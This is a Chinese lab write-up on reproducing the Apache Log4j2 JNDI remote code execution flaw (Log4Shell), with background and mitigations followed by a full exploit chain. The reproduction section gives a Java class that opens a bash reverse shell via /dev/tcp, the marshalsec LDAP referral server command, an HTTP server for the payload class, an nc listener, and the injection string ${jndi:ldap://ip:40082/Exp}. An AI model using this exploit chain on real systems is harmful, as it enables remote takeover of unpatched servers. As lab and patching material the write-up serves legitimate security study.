前言: 漏洞复现环境来自于掌控者安全,在此深表感谢!!!
复现环境在“掌控者安全”,有兴趣的朋友可以去复现一下。上图略微有颜色,不过毕竟挖洞太乏味,需要让生活精彩嘛,介意请撤退。。
一、漏洞介绍
1、漏洞介绍
漏洞简介:
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
基本原理:
apache的log4j2版本,在打印日志内容时,使用了一个lookup函数,如果数据中存在${xxxx}
这样的格式的数据,那log4j就会将该数据当做资源地址进行请求,如果说这串数据是一个ldap服务的资源地址,那么就可能造成JNDI注入,从而导致RCE,因此也可以说该漏洞是一个JDNI注入漏洞。
2、漏洞修复与防护
1)升级log4j2到最新的log4j-2.15.0版本。
官方升级的防御方法:
- 只允加载被允许的ldap资源文件
- 只允许加载固定的ldap资源地址
2)修改配置信息
在项目的 log4j2.component.properties 配置文件中添加配置(值得注意的是该方法只适用于log4j-2.10.0以上版本):
log4j2.formatMsgNoLookups = true
也可以在java的启动项中添加该配置:
-Dlog4j2.formatMsgNoLookups=true
3)使用各种软硬件waf
二、漏洞复现
1、构造反序列化的EXP(github copy),其中IP和PORT自行更改,名命Exp.java。
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、使用javac 进行编译:javac Exp.java
3、在class文件目录下使用python 开启http服务 python3 -m http.server 40081
4、使用 marshalse项目在40082端口上开启一个ldap服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:40081/#Exp" 40082
5、使用nc监听7777端口
6、在目标靶机上发送payload:${jndi:ldap://ip:40082/Exp}
7、成功反弹shell,但是…命令执行不了,操蛋了。
参考连接: